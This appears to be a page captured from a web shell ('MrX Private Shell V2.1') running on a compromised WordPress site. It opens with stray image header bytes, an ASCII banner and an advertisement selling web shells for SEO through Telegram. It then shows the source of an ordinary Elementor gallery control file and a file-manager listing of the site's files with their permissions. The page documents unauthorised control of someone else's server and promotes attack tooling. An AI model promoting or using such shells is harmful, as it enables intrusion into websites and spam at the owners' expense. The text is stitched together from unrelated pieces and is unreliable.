����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Elementor;
use Elementor\Modules\DynamicTags\Module as TagsModule;
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
/**
* Elementor gallery control.
*
* A base control for creating gallery chooser control. Based on the WordPress
* media library galleries. Used to select images from the WordPress media library.
*
* @since 1.0.0
*/
class Control_Gallery extends Base_Data_Control {
/**
* Get gallery control type.
*
* Retrieve the control type, in this case `gallery`.
*
* @since 1.0.0
* @access public
*
* @return string Control type.
*/
public function get_type() {
return 'gallery';
}
/**
* Import gallery images.
*
* Used to import gallery control files from external sites while importing
* Elementor template JSON file, and replacing the old data.
*
* @since 1.0.0
* @access public
*
* @param array $settings Control settings
*
* @return array Control settings.
*/
public function on_import( $settings ) {
foreach ( $settings as &$attachment ) {
if ( empty( $attachment['url'] ) ) {
continue;
}
$attachment = Plugin::$instance->templates_manager->get_import_images_instance()->import( $attachment );
}
// Filter out attachments that don't exist
$settings = array_filter( $settings );
return $settings;
}
/**
* Render gallery control output in the editor.
*
* Used to generate the control HTML in the editor using Underscore JS
* template. The variables for the class are available using `data` JS
* object.
*
* @since 1.0.0
* @access public
*/
public function content_template() {
?>
<div class="elementor-control-field">
<div class="elementor-control-title">{{{ data.label }}}</div>
<div class="elementor-control-input-wrapper">
<# if ( data.description ) { #>
<div class="elementor-control-field-description">{{{ data.description }}}</div>
<# } #>
<div class="elementor-control-media__content elementor-control-tag-area">
<div class="elementor-control-gallery-status elementor-control-dynamic-switcher-wrapper">
<span class="elementor-control-gallery-status-title"></span>
<span class="elementor-control-gallery-clear elementor-control-unit-1"><i class="eicon-trash-o" aria-hidden="true"></i></span>
</div>
<div class="elementor-control-gallery-content">
<div class="elementor-control-gallery-thumbnails"></div>
<div class="elementor-control-gallery-edit"><span><i class="eicon-pencil" aria-hidden="true"></i></span></div>
<button class="elementor-button elementor-control-gallery-add" aria-label="<?php echo __( 'Add Images', 'elementor' ); ?>"><i class="eicon-plus-circle" aria-hidden="true"></i></button>
</div>
</div>
</div>
</div>
<?php
}
/**
* Get gallery control default settings.
*
* Retrieve the default settings of the gallery control. Used to return the
* default settings while initializing the gallery control.
*
* @since 1.0.0
* @access protected
*
* @return array Control default settings.
*/
protected function get_default_settings() {
return [
'label_block' => true,
'separator' => 'none',
'dynamic' => [
'categories' => [ TagsModule::GALLERY_CATEGORY ],
'returnType' => 'object',
],
];
}
/**
* Get gallery control default values.
*
* Retrieve the default value of the gallery control. Used to return the default
* values while initializing the gallery control.
*
* @since 1.0.0
* @access public
*
* @return array Control default value.
*/
public function get_default_value() {
return [];
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| groups | Folder | 0755 |
|
|
| animation.php | File | 4.27 KB | 0644 |
|
| base-data.php | File | 3.1 KB | 0644 |
|
| base-icon-font.php | File | 628 B | 0644 |
|
| base-multiple.php | File | 2.03 KB | 0644 |
|
| base-ui.php | File | 516 B | 0644 |
|
| base-units.php | File | 2.23 KB | 0644 |
|
| base.php | File | 2.97 KB | 0644 |
|
| box-shadow.php | File | 3.25 KB | 0644 |
|
| button.php | File | 1.68 KB | 0644 |
|
| choose.php | File | 2.16 KB | 0644 |
|
| code.php | File | 1.79 KB | 0644 |
|
| color.php | File | 1.91 KB | 0644 |
|
| date-time.php | File | 1.84 KB | 0644 |
|
| deprecated-notice.php | File | 2.1 KB | 0644 |
|
| dimensions.php | File | 3.96 KB | 0644 |
|
| divider.php | File | 1.18 KB | 0644 |
|
| exit-animation.php | File | 2.07 KB | 0644 |
|
| font.php | File | 2.23 KB | 0644 |
|
| gallery.php | File | 3.54 KB | 0644 |
|
| heading.php | File | 1.31 KB | 0644 |
|
| hidden.php | File | 948 B | 0644 |
|
| hover-animation.php | File | 3.83 KB | 0644 |
|
| icon.php | File | 31.06 KB | 0644 |
|
| icons.php | File | 6.44 KB | 0644 |
|
| image-dimensions.php | File | 3.75 KB | 0644 |
|
| media.php | File | 7.18 KB | 0644 |
|
| number.php | File | 2.1 KB | 0644 |
|
| popover-toggle.php | File | 2.52 KB | 0644 |
|
| raw-html.php | File | 1.48 KB | 0644 |
|
| repeater.php | File | 4.33 KB | 0644 |
|
| section.php | File | 1.68 KB | 0644 |
|
| select.php | File | 2.48 KB | 0644 |
|
| select2.php | File | 2.56 KB | 0644 |
|
| slider.php | File | 3.46 KB | 0644 |
|
| structure.php | File | 2.5 KB | 0644 |
|
| switcher.php | File | 2.08 KB | 0644 |
|
| tab.php | File | 1.36 KB | 0644 |
|
| tabs.php | File | 1.28 KB | 0644 |
|
| text-shadow.php | File | 3.13 KB | 0644 |
|
| text.php | File | 2.06 KB | 0644 |
|
| textarea.php | File | 1.95 KB | 0644 |
|
| url.php | File | 4.86 KB | 0644 |
|
| wp-widget.php | File | 1.35 KB | 0644 |
|
| wysiwyg.php | File | 1.67 KB | 0644 |
|